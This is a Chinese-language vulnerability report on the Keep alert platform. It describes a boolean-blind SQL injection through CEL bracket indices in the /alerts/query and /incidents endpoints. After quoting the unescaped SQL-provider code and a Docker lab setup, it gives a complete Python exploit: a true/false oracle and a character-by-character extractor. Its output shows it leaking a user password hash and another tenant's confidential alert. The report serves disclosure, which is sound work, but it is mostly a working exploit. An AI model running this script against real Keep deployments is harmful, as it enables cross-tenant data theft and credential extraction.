Keep 漏洞报告

软件名称:Keep

开发者或厂商:Keephq

代码仓库:https://github.com/keephq/keep

1. CEL 查询 SQL 布尔盲注

简要描述:拥有 read:alert 权限的账号可以在 CEL 查询的 JSON 下标中实施 SQL 注入。
影响版本:0.34.10 ~ 0.54.3
前置条件:攻击者拥有一个具有 read:alert 权限的账号,且至少存在一条告警记录。

漏洞成因

Keep 的告警查询接口 /alerts/query 接受 CEL 表达式。CEL 的方括号语法用于访问 JSON 字段,方括号内的字符串会成为属性路径的一部分。转换器把这个字符串直接追加进属性路径:

# keep/api/core/cel_to_sql/cel_ast_converter.py:278-288    commit e5cd8698c8
def member_index(self, tree: lark.Tree) -> None:
    right = self.stack.pop()
    left = self.stack.pop()

    if isinstance(right, ConstantNode):
        right = right.value

    prop_access_node: PropertyAccessNode = left
    new_property_access_node = PropertyAccessNode(
        path=prop_access_node.path + [str(right)]
    )
    self.stack.append(new_property_access_node)
    self.member_access_stack.append(new_property_access_node)

告警字段映射中存在通配项,未在映射表中显式声明的字段都会落到 alert.event 与 alertenrichment.enrichments 两个 JSON 列:

# keep/api/core/alerts.py:151-160    commit e5cd8698c8
    FieldMappingConfiguration(
        map_from_pattern="*",
        map_to=[
            "JSON(alertenrichment.enrichments).*",
            "JSON(alert.event).*",
        ],
        data_type=DataType.STRING,
    ),

SQL provider 生成 JSON 提取表达式时,把路径片段直接放进单引号字符串,没有做转义。SQLite 的实现如下:

# keep/api/core/cel_to_sql/sql_providers/sqlite.py:16-18    commit e5cd8698c8
def json_extract_as_text(self, column: str, path: list[str]) -> str:
    property_path_str = ".".join([f'"{item}"' for item in path])
    return f"json_extract({column}, '$.{property_path_str}')"

PostgreSQL 与 MySQL 的实现分别位于 keep/api/core/cel_to_sql/sql_providers/postgresql.py:22 和 keep/api/core/cel_to_sql/sql_providers/mysql.py:57,同样没有转义。

因此方括号内的单引号可以闭合 JSON path,后面的内容成为 SQL 片段。以 alertenrichment.enrichments 这一列为例,payload labels["x') OR (1=1) OR ('"] 在 SQLite 上生成的表达式如下:

json_extract(alertenrichment.enrichments, '$."labels"."x') OR (1=1) OR ('"')

把 1=1 换成任意子查询,就得到可用的注入点。

/incidents?cel= 使用同一个转换器,并且同样以 read:alert 作为鉴权条件,因此该入口也可利用。

复现环境搭建

实验环境使用官方 0.54.3 后端镜像,数据库为 SQLite,认证方式为 DB。创建 docker-compose.yml:

name: keep-vuln
services:
  keep-backend:
    image: us-central1-docker.pkg.dev/keephq/keep/keep-api:0.54.3
    ports:
      - "19611:8080"
    environment:
      - AUTH_TYPE=DB
      - KEEP_JWT_SECRET=reportsecret123
      - KEEP_DEFAULT_USERNAME=admin@lab.local
      - KEEP_DEFAULT_PASSWORD=Admin12345.
      - SECRET_MANAGER_TYPE=FILE
      - SECRET_MANAGER_DIRECTORY=/state
      - DATABASE_CONNECTION_STRING=sqlite:////state/db.sqlite3?check_same_thread=False
    volumes:
      - ./state:/state

启动后端:

mkdir -p state
docker compose up -d

后端监听 http://127.0.0.1:19611。启动后创建管理员和只读账号,并写入一点 alert 数据:

import time

import httpx
import jwt

BASE = "http://127.0.0.1:19611"
SECRET = "reportsecret123"

admin = httpx.post(
    BASE + "/signin",
    json={"username": "admin@lab.local", "password": "Admin12345."},
).json()["accessToken"]
headers = {"Authorization": f"Bearer {admin}"}
httpx.post(
    BASE + "/auth/users",
    headers=headers,
    json={
        "email": "noc@lab.local",
        "name": "noc",
        "password": "Noc12345.",
        "role": "noc",
    },
)
victim = jwt.encode(
    {"tenant_id": "victim-tenant", "email": "victim@lab.local", "role": "admin"},
    SECRET,
    algorithm="HS256",
)
httpx.post(
    BASE + "/alerts/event",
    headers={"Authorization": f"Bearer {victim}"},
    json={
        "name": "victim-secret-alert",
        "status": "firing",
        "severity": "critical",
        "message": "tenant-victim-confidential",
    },
)
httpx.post(
    BASE + "/alerts/event",
    headers=headers,
    json={
        "name": "attacker-alert",
        "status": "firing",
        "severity": "info",
        "message": "attacker-normal",
    },
)
time.sleep(3)

复现过程

以 noc@lab.local 登录,向 /alerts/query 发送 CEL 查询。脚本如下:

import string

import httpx

BASE = "http://127.0.0.1:19611"


def login(username, password):
    r = httpx.post(
        BASE + "/signin",
        json={"username": username, "password": password},
        timeout=30,
    )
    r.raise_for_status()
    return {"Authorization": f"Bearer {r.json()['accessToken']}"}


attacker = login("noc@lab.local", "Noc12345.")
print("attacker tenant:", httpx.get(BASE + "/whoami", headers=attacker).json()["tenant_id"])


def oracle(sql):
    cel = "labels[\"x') OR (" + sql + ") OR ('\"]"
    r = httpx.post(
        BASE + "/alerts/query",
        headers=attacker,
        json={"cel": cel, "limit": 1, "offset": 0},
        timeout=30,
    )
    r.raise_for_status()
    return r.json()["count"] > 0


def extract(column, table, length, where=""):
    alphabet = "$./_-" + string.ascii_letters + string.digits
    out = ""
    for i in range(1, length + 1):
        for ch in alphabet:
            sql = (
                f"(SELECT substr({column},{i},1) FROM {table}"
                f" {where} LIMIT 1)='{ch}'"
            )
            if oracle(sql):
                out += ch
                break
        else:
            out += "?"
    return out


print(
    "victim tenant has alerts:",
    oracle("SELECT count(*) FROM lastalert WHERE tenant_id='victim-tenant'"),
)
print(
    "nonexistent tenant has alerts:",
    oracle("SELECT count(*) FROM lastalert WHERE tenant_id='does-not-exist'"),
)
print("password hash:", extract("password_hash", "user", 16))
print(
    "victim message:",
    extract(
        "json_extract(event,'$.message')",
        "alert",
        len("tenant-victim-confidential"),
        "WHERE tenant_id='victim-tenant'",
    ),
)

运行结果如下:

attacker tenant: keep
victim tenant has alerts: True
nonexistent tenant has alerts: False
password hash: f99bc9050b3f95d8
victim message: tenant-victim-confidential